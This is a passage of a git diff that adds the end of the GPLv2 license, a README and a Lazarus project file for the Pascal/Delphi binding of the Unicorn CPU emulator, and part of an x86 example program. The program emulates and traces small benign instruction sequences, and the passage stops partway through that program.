You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) 2018 Coldzer0 + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + {signature of Ty Coon}, 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/README.md b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/README.md new file mode 100644 index 0000000..8096d0f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/README.md @@ -0,0 +1,52 @@ +# unicorn-engine-pascal + +Pascal/Delphi language binding for the [Unicorn emulator](http://www.unicorn-engine.org/) +([GitHub](https://github.com/unicorn-engine/unicorn)). + +*Unicorn* is a lightweight multi-platform, multi-architecture CPU emulator framework +based on [QEMU](http://www.qemu.org/). + +## License + +`GPLv2` + +## Compilers Compatibility + +#### Free Pascal >= v3 + - `Mac OS` + - `Windows` + - `Linux` +#### Delphi + - `Windows` +## Features + +* Same API as the C core + - with some workarounds for Pascals case insensitivity: + + + `uc_mem_write()` -> `uc_mem_write_()`, `uc_mem_read()` -> `uc_mem_read_()` + - and the missing feature passing variable number of arguments to functions (`...`): + + i solve it by using -> `args : Array of Const;` + you can pass args inside [] like : + ```pascal + uc_hook_add(uc, trace, UC_HOOK_INSN, @HookIn, nil, 1,0,[UC_X86_INS_IN]; + ``` + the main loader in `Unicorn_dyn.pas` , check X86 example for more info . + + +* Multiplatform (Mac OS , Windows and Linux are tested) + +## Examples +* `X86` Emulate 16, 32, 64 Bit x86 + + +## Version History +* `1.1` + * Add Delphi Compatibility [ Windows ] +* `1.0` + * this is the first version it has all APIs of UNICORN v1.0.1 + +## TODO + - Add more Examples + - Add Mac , Linux Support for Delphi \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/examples/x86.lpi b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/examples/x86.lpi new file mode 100644 index 0000000..289ab23 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/examples/x86.lpi @@ -0,0 +1,105 @@ + + + + + + + + + + + + + + <UseAppBundle Value="False"/> + <ResourceType Value="res"/> + </General> + <BuildModes Count="3"> + <Item1 Name="Default" Default="True"/> + <Item2 Name="Debug"> + <CompilerOptions> + <Version Value="11"/> + <Target> + <Filename Value="x86"/> + </Target> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <OtherUnitFiles Value="../unicorn"/> + <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <Linking> + <Debugging> + <UseHeaptrc Value="True"/> + <TrashVariables Value="True"/> + <UseExternalDbgSyms Value="True"/> + </Debugging> + </Linking> + </CompilerOptions> + </Item2> + <Item3 Name="Release"> + <CompilerOptions> + <Version Value="11"/> + <Target> + <Filename Value="x86"/> + </Target> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <OtherUnitFiles Value="../unicorn"/> + <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <CodeGeneration> + <SmartLinkUnit Value="True"/> + <Optimizations> + <OptimizationLevel Value="3"/> + </Optimizations> + </CodeGeneration> + <Linking> + <Debugging> + <GenerateDebugInfo Value="False"/> + </Debugging> + <LinkSmart Value="True"/> + </Linking> + </CompilerOptions> + </Item3> + </BuildModes> + <PublishOptions> + <Version Value="2"/> + </PublishOptions> + <RunParams> + <local> + <FormatVersion Value="1"/> + <CommandLineParams Value="-32"/> + </local> + </RunParams> + <Units Count="1"> + <Unit0> + <Filename Value="x86.lpr"/> + <IsPartOfProject Value="True"/> + </Unit0> + </Units> + </ProjectOptions> + <CompilerOptions> + <Version Value="11"/> + <Target> + <Filename Value="x86"/> + </Target> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <OtherUnitFiles Value="../unicorn"/> + <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + </CompilerOptions> + <Debugging> + <Exceptions Count="3"> + <Item1> + <Name Value="EAbort"/> + </Item1> + <Item2> + <Name Value="ECodetoolError"/> + </Item2> + <Item3> + <Name Value="EFOpenError"/> + </Item3> + </Exceptions> + </Debugging> +</CONFIG> diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/examples/x86.lpr b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/examples/x86.lpr new file mode 100644 index 0000000..6a24f68 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/examples/x86.lpr @@ -0,0 +1,1001 @@ +{ + FreePascal/Delphi bindings for the UnicornEngine Emulator Engine . + + Copyright(c) 2018 Coldzer0 . + + License : GPLv2 . +} + +program x86; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +{$ifdef MSWINDOWS} + {$apptype CONSOLE} +{$endif} + +uses + SysUtils, + Unicorn_dyn, + UnicornConst, + X86Const; + +const + // code to be emulated . + X86_CODE32: array[0..6] of Byte = ($41, $4a,$66,$0f,$ef,$c1, $00); // INC ecx; DEC edx ; PXOR xmm0, xmm1 ; + X86_CODE32_JUMP: array[0..8] of Byte = ($eb, $02, $90, $90, $90, $90, $90, $90, $00); // jmp 4; nop; nop; nop; nop; nop; nop ; + X86_CODE32_LOOP: array[0..4] of Byte = ($41, $4a, $eb, $fe, $00); // INC ecx; DEC edx; JMP self-loop + X86_CODE32_MEM_WRITE: array[0..8] of Byte = ($89, $0d, $aa, $aa, $aa, $aa, $41, $4a, $00); // mov [0xaaaaaaaa], ecx; INC ecx; DEC edx ; + X86_CODE32_MEM_READ: array[0..8] of Byte = ($8b, $0d, $aa, $aa, $aa, $aa, $41, $4a, $00); // mov ecx,[0xaaaaaaaa]; INC ecx; DEC edx ; + + X86_CODE32_JMP_INVALID: array[0..6] of Byte = ($e9, $e9, $ee, $ee, $41, $4a, $00); // JMP outside; INC ecx; DEC edx ; + X86_CODE32_INOUT: array[0..7] of Byte = ($41, $E4, $3F, $4a, $E6, $46, $43, $00); // INC ecx; IN AL, 0x3f; DEC edx; OUT 0x46, AL; INC ebx ; + X86_CODE32_INC : array[0..1] of byte = ($40,$00); // INC eax . + + X86_CODE64: array[0..75] of Byte = ( + $41, $BC, $3B, $B0, $28, $2A, $49, $0F, $C9, $90, $4D, $0F, $AD, $CF, $49, $87, $FD, $90, $48, $81, + $D2, $8A, $CE, $77, $35, $48, $F7, $D9, $4D, $29, $F4, $49, $81, $C9, $F6, $8A, $C6, $53, $4D, $87, + $ED, $48, $0F, $AD, $D2, $49, $F7, $D4, $48, $F7, $E1, $4D, $19, $C5, $4D, $89, $C5, $48, $F7, $D6, + $41, $B8, $4F, $8D, $6B, $59, $4D, $87, $D0, $68, $6A, $1E, $09, $3C, $59, $00); + X86_CODE16: array[0..2] of Byte = ($00, $00, $00); // add byte ptr [bx + si], al + X86_CODE64_SYSCALL: array[0..2] of Byte = ($0f, $05, $00); // SYSCALL + + // memory address where emulation starts + ADDRESS = $1000000; + +// callback for tracing basic blocks +procedure HookBlock(uc: uc_engine; address: UInt64; size: Cardinal; user_data: Pointer); cdecl; +begin + WriteLn(Format('>>> Tracing basic block at 0x%x, block size = 0x%x', [address, size])); +end; + +// callback for tracing instruction +procedure HookCode(uc: uc_engine; address: UInt64; size: Cardinal; user_data: Pointer); cdecl; +var + eflags: integer; +begin + WriteLn(Format('>>> Tracing instruction at 0x%x, instruction size = 0x%x', [address, size])); + uc_reg_read(uc, UC_X86_REG_EFLAGS, @eflags); + WriteLn(Format('>>> --- EFLAGS is 0x%x', [eflags])); +end; + +// callback for tracing instruction +procedure HookCode64(uc: uc_engine; address: UInt64; size: Cardinal; user_data: Pointer); cdecl; +var + rip: UInt64; +begin + WriteLn(Format('>>> Tracing instruction at 0x%x, instruction size = 0x%x', [address, size])); + uc_reg_read(uc, UC_X86_REG_RIP, @rip); + WriteLn(Format('>>> --- RIP is 0x%x', [rip])); +end; + +function HookMemInvalid(uc: uc_engine; _type: uc_mem_type; address: UInt64; size: Cardinal; value: Int64; user_data: Pointer): LongBool; cdecl; +begin + case _type of + UC_MEM_WRITE_UNMAPPED: + begin + WriteLn(Format('>>> Missing memory is being WRITE at 0x%x, data size = %u, data value = 0x%x', [address, size, value])); + // map this memory in with 2MB in size + uc_mem_map(uc, $aaaa0000, 2 * 1024*1024, UC_PROT_ALL); + // return true to indicate we want to continue + Result := true; + end + else + begin + // return false to indicate we want to stop emulation + Result := false; + end; + end; +end; + +procedure HookMem64(uc: uc_engine; _type: uc_mem_type; address: UInt64; size: Cardinal; value: Int64; user_data: Pointer); cdecl; +begin + case _type of + UC_MEM_READ: + begin + WriteLn(Format('>>> Memory is being READ at 0x%x, data size = %u', [address, size])); + end; + UC_MEM_WRITE: + begin + WriteLn(Format('>>> Memory is being WRITE at 0x%x, data size = %u, data value = 0x%x', [address, size, value])); + end; + end; +end; + +// callback for IN instruction (X86). +// this returns the data read from the port +function HookIn(uc: uc_engine; port: UInt32; size: integer; user_data: Pointer): Uint32; cdecl; +var + eip: UInt32; +begin + uc_reg_read(uc, UC_X86_REG_EIP, @eip); + WriteLn(Format('--- reading from port 0x%x, size: %u, address: 0x%x', [port, size, eip])); + case size of + 1: + begin + // read 1 byte to AL + Result := $f1; + end; + 2: + begin + // read 2 byte to AX + Result := $f2; + end; + 4: + begin + // read 4 byte to EAX + Result := $f4; + end; + else + begin + // should never reach this + Result := 0; + end; + end; +end; + +// callback for OUT instruction (X86). +procedure HookOut(uc: uc_engine; port: UInt32; size: integer; value: UInt32; user_data: Pointer); cdecl; +var + tmp, eip: UInt32; +begin + uc_reg_read(uc, UC_X86_REG_EIP, @eip); + WriteLn(Format('--- writing to port 0x%x, size: %u, value: 0x%x, address: 0x%x', [port, size, value, eip])); + + // confirm that value is indeed the value of AL/AX/EAX + case size of + 1: + begin + uc_reg_read(uc, UC_X86_REG_AL, @tmp); + end; + 2: + begin + uc_reg_read(uc, UC_X86_REG_AX, @tmp); + end; + 4: + begin + uc_reg_read(uc, UC_X86_REG_EAX, @tmp); + end; + else + begin + // should never reach this + Exit; + end; + end; + WriteLn(Format('--- register value = 0x%x', [tmp])); +end; + +// callback for SYSCALL instruction (X86). +procedure HookSyscall(uc: uc_engine; user_data: Pointer); cdecl; +var + rax: UInt64; +begin + uc_reg_read(uc, UC_X86_REG_RAX, @rax); + if (rax = $100) then begin + rax := $200; + uc_reg_write(uc, UC_X86_REG_RAX, @rax); + end else + WriteLn(Format('ERROR: was not expecting rax=0x%x in syscall', [rax])); +end; + +procedure TestI386; +var + uc: uc_engine; + err: uc_err; + tmp: UInt32; + trace1, trace2: uc_hook; + r_ecx, r_edx: integer; + r_xmm0,r_xmm1 : array [0..1] of UInt64; +begin + r_ecx := $1234; // ECX register + r_edx := $7890; // EDX register + r_xmm0[0] := $08090a0b0c0d0e0f; r_xmm0[1] := $0001020304050607; + r_xmm1[0] := {%H-}$8090a0b0c0d0e0f0; r_xmm1[1] := $0010203040506070; + + + WriteLn('Emulate i386 code'); + + // Initialize emulator in X86-32bit mode + err := uc_open(UC_ARCH_X86, UC_MODE_32, uc); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_open() with error returned: %u', [err])); + Exit; + end; + + // map 2MB memory for this emulation + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write_(uc, ADDRESS, @X86_CODE32, SizeOf(X86_CODE32) - 1) <> UC_ERR_OK) then begin + WriteLn('Failed to write emulation code to memory, quit!'); + Exit; + end; + + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_ECX, @r_ecx); + uc_reg_write(uc, UC_X86_REG_EDX, @r_edx); + uc_reg_write(uc, UC_X86_REG_XMM0, @r_xmm0); + uc_reg_write(uc, UC_X86_REG_XMM1, @r_xmm1); + + // tracing all basic blocks with customized callback + uc_hook_add(uc, trace1, UC_HOOK_BLOCK, @HookBlock, nil, 1, 0,[]); + + // tracing all instruction by having @begin > @end + uc_hook_add(uc, trace2, UC_HOOK_CODE, @HookCode, nil, 1, 0,[]); + + // emulate machine code in infinite time + err := uc_emu_start(uc, ADDRESS, ADDRESS + SizeOf(X86_CODE32) - 1, 0, 0); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_emu_start() with error returned %u: %s', [err, uc_strerror(err)])); + end; + + // now print out some registers + WriteLn('>>> Emulation done. Below is the CPU context'); + + uc_reg_read(uc, UC_X86_REG_ECX, @r_ecx); + uc_reg_read(uc, UC_X86_REG_EDX, @r_edx); + uc_reg_read(uc, UC_X86_REG_XMM0, @r_xmm0); + + WriteLn(Format('>>> ECX = 0x%x', [r_ecx])); + WriteLn(Format('>>> EDX = 0x%x', [r_edx])); + WriteLn(Format('>>> XMM0 = 0x%s%s', [IntToHex(r_xmm0[1],16),IntToHex(r_xmm0[0],16)])); + + // read from memory + err := uc_mem_read_(uc, ADDRESS, @tmp, SizeOf(tmp)); + if (err = UC_ERR_OK) then begin + WriteLn(Format('>>> Read 4 bytes from [0x%x] = 0x%x', [ADDRESS, tmp])); + end else begin + WriteLn(Format('>>> Failed to read 4 bytes from [0x%x], err = %u: %s', [ADDRESS, err, uc_strerror(err)])); + end; + + uc_close(uc); +end; + +procedure test_i386_map_ptr(); +var + uc: uc_engine; + err: uc_err; + tmp: UInt32; + trace1, trace2: uc_hook; + mem : Pointer; + r_ecx, r_edx: integer; + r_xmm0,r_xmm1 : array [0..1] of UInt64; +begin + r_ecx := $1234; // ECX register + r_edx := $7890; // EDX register + r_xmm0[0] := $08090a0b0c0d0e0f; r_xmm0[1] := $0001020304050607; + r_xmm1[0] := {%H-}$8090a0b0c0d0e0f0; r_xmm1[1] := $0010203040506070; + + + WriteLn('==================================='); + WriteLn('Emulate i386 code - use uc_mem_map_ptr()'); + + // Initialize emulator in X86-32bit mode + err := uc_open(UC_ARCH_X86, UC_MODE_32, uc); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_open() with error returned: %u', [err])); + Exit; + end; + + mem := AllocMem(2 * 1024 * 1024); + if mem = nil then + begin + Writeln('Failed to Allocmem'); + uc_close(uc); + exit; + end; + + err := uc_mem_map_ptr(uc,ADDRESS,2 * 1024 * 1024,UC_PROT_ALL,mem); + if err <> UC_ERR_OK then + begin + WriteLn(Format('Failed on uc_mem_map_ptr() with error returned: %u - %s', [err,uc_strerror(err)])); + FreeMem(mem,2 * 1024 * 1024); + uc_close(uc); + Exit; + end; + + Move(X86_CODE32,mem^,SizeOf(X86_CODE32)-1); + if CompareMem(mem,@X86_CODE32,SizeOf(X86_CODE32)-1) <> true then + begin + Writeln('Failed to write emulation code to memory, quit!'); + Freemem(mem,2 * 1024 * 1024); + uc_close(uc); + exit; + end; + uc_reg_write(uc, UC_X86_REG_ECX, @r_ecx); + uc_reg_write(uc, UC_X86_REG_EDX, @r_edx); + uc_reg_write(uc, UC_X86_REG_XMM0, @r_xmm0); + uc_reg_write(uc, UC_X86_REG_XMM1, @r_xmm1); + + // tracing all basic blocks with customized callback + uc_hook_add(uc, trace1, UC_HOOK_BLOCK, @HookBlock, nil, 1, 0,[]); + + // tracing all instruction by having @begin > @end . + uc_hook_add(uc, trace2, UC_HOOK_CODE, @HookCode, nil, 1, 0,[]); + + // emulate machine code in infinite time + err := uc_emu_start(uc, ADDRESS, ADDRESS + sizeof(X86_CODE32) - 1, 0, 0); + if err <> UC_ERR_OK then + WriteLn(Format('Failed on uc_emu_start() with error returned %u: %s', [err, uc_strerror(err)])); + + Writeln('>>> Emulation done. Below is the CPU context'); + + uc_reg_read(uc, UC_X86_REG_ECX, @r_ecx); + uc_reg_read(uc, UC_X86_REG_EDX, @r_edx); + uc_reg_read(uc, UC_X86_REG_XMM0, @r_xmm0); + + WriteLn(Format('>>> ECX = 0x%x', [r_ecx])); + WriteLn(Format('>>> EDX = 0x%x', [r_edx])); + WriteLn(Format('>>> XMM0 = 0x%s%s', [IntToHex(r_xmm0[1],16),IntToHex(r_xmm0[0],16)])); + + // read from memory + err := uc_mem_read_(uc, ADDRESS, @tmp, SizeOf(tmp)); + if (err = UC_ERR_OK) then begin + WriteLn(Format('>>> Read 4 bytes from [0x%x] = 0x%x', [ADDRESS, tmp])); + end else begin + WriteLn(Format('>>> Failed to read 4 bytes from [0x%x], err = %u: %s', [ADDRESS, err, uc_strerror(err)])); + end; + + Freemem(mem,2 * 1024 * 1024); + uc_close(uc); +end; + +procedure TestI386Jump; +var + uc: uc_engine; + err: uc_err; + trace1, trace2: uc_hook; +begin + WriteLn('==================================='); + WriteLn('Emulate i386 code with jump'); + + // Initialize emulator in X86-32bit mode + err := uc_open(UC_ARCH_X86, UC_MODE_32, uc); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_open() with error returned: %u', [err])); + Exit; + end; + + // map 2MB memory for this emulation + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write_(uc, ADDRESS, @X86_CODE32_JUMP, SizeOf(X86_CODE32_JUMP) - 1) <> UC_ERR_OK) then begin + WriteLn('Failed to write emulation code to memory, quit!'); + Exit; + end; + + // tracing 1 basic block with customized callback + uc_hook_add(uc, trace1, UC_HOOK_BLOCK, @HookBlock, nil, ADDRESS, ADDRESS,[]); + + // tracing 1 instruction at ADDRESS + uc_hook_add(uc, trace2, UC_HOOK_CODE, @HookCode, nil, ADDRESS, ADDRESS,[]); + + // emulate machine code in infinite time + err := uc_emu_start(uc, ADDRESS, ADDRESS + SizeOf(X86_CODE32_JUMP) - 1, 0, 0); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_emu_start() with error returned %u: %s', [err, uc_strerror(err)])); + end; + + WriteLn('>>> Emulation done.'); + uc_close(uc); +end; + +procedure TestI386Loop; +var + uc: uc_engine; + err: uc_err; + r_ecx, r_edx: integer; +begin + r_ecx := $1234; // ECX register + r_edx := $7890; // EDX register + WriteLn('==================================='); + WriteLn('Emulate i386 code that loop forever'); + + // Initialize emulator in X86-32bit mode + err := uc_open(UC_ARCH_X86, UC_MODE_32, uc); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_open() with error returned: %u', [err])); + Exit; + end; + + // map 2MB memory for this emulation + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write_(uc, ADDRESS, @X86_CODE32_LOOP, SizeOf(X86_CODE32_LOOP) - 1) <> UC_ERR_OK) then begin + WriteLn('Failed to write emulation code to memory, quit!'); + Exit; + end; + + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_ECX, @r_ecx); + uc_reg_write(uc, UC_X86_REG_EDX, @r_edx); + + // emulate machine code in 2 seconds, so we can quit even + // if the code loops + err := uc_emu_start(uc, ADDRESS, ADDRESS + SizeOf(X86_CODE32_LOOP) - 1, 2 * UC_SECOND_SCALE, 0); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_emu_start() with error returned %u: %s', [err, uc_strerror(err)])); + end; + + // now print out some registers + WriteLn('>>> Emulation done. Below is the CPU context'); + + uc_reg_read(uc, UC_X86_REG_ECX, @r_ecx); + uc_reg_read(uc, UC_X86_REG_EDX, @r_edx); + WriteLn(Format('>>> ECX = 0x%x', [r_ecx])); + WriteLn(Format('>>> EDX = 0x%x', [r_edx])); + + uc_close(uc); +end; + +procedure TestI386InvalidMemRead; +var + uc: uc_engine; + err: uc_err; + trace1, trace2: uc_hook; + r_ecx, r_edx: integer; +begin + r_ecx := $1234; // ECX register + r_edx := $7890; // EDX register + WriteLn('==================================='); + WriteLn('Emulate i386 code that read from invalid memory'); + + // Initialize emulator in X86-32bit mode + err := uc_open(UC_ARCH_X86, UC_MODE_32, uc); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_open() with error returned: %u', [err])); + Exit; + end; + + // map 2MB memory for this emulation + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write_(uc, ADDRESS, @X86_CODE32_MEM_READ, SizeOf(X86_CODE32_MEM_READ) - 1) <> UC_ERR_OK) then begin + WriteLn('Failed to write emulation code to memory, quit!'); + uc_close(uc); + Exit; + end; + + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_ECX, @r_ecx); + uc_reg_write(uc, UC_X86_REG_EDX, @r_edx); + + // tracing all basic blocks with customized callback + uc_hook_add(uc, trace1, UC_HOOK_BLOCK, @HookBlock, nil, 1, 0,[]); + + // tracing all instruction by having @begin > @end + uc_hook_add(uc, trace2, UC_HOOK_CODE, @HookCode, nil, 1, 0,[]); + + err := uc_emu_start(uc, ADDRESS, ADDRESS + SizeOf(X86_CODE32_MEM_READ) - 1, 0, 0); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_emu_start() with error returned %u: %s', [err, uc_strerror(err)])); + end; + + // now print out some registers + WriteLn('>>> Emulation done. Below is the CPU context'); + + uc_reg_read(uc, UC_X86_REG_ECX, @r_ecx); + uc_reg_read(uc, UC_X86_REG_EDX, @r_edx); + WriteLn(Format('>>> ECX = 0x%x', [r_ecx])); + WriteLn(Format('>>> EDX = 0x%x', [r_edx])); + + uc_close(uc); +end; + +procedure TestI386InvalidMemWrite; +var + uc: uc_engine; + err: uc_err; + trace1, trace2, trace3: uc_hook; + r_ecx, r_edx: integer; + tmp: UInt32; +begin + r_ecx := $1234; // ECX register + r_edx := $7890; // EDX register + WriteLn('==================================='); + WriteLn('Emulate i386 code that write to invalid memory'); + + // Initialize emulator in X86-32bit mode + err := uc_open(UC_ARCH_X86, UC_MODE_32, uc); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_open() with error returned: %u', [err])); + Exit; + end; + + // map 2MB memory for this emulation + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write_(uc, ADDRESS, @X86_CODE32_MEM_WRITE, SizeOf(X86_CODE32_MEM_WRITE) - 1) <> UC_ERR_OK) then begin + WriteLn('Failed to write emulation code to memory, quit!'); + Exit; + end; + + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_ECX, @r_ecx); + uc_reg_write(uc, UC_X86_REG_EDX, @r_edx); + + // tracing all basic blocks with customized callback + uc_hook_add(uc, trace1, UC_HOOK_BLOCK, @HookBlock, nil, 1, 0,[]); + + // tracing all instruction by having @begin > @end + uc_hook_add(uc, trace2, 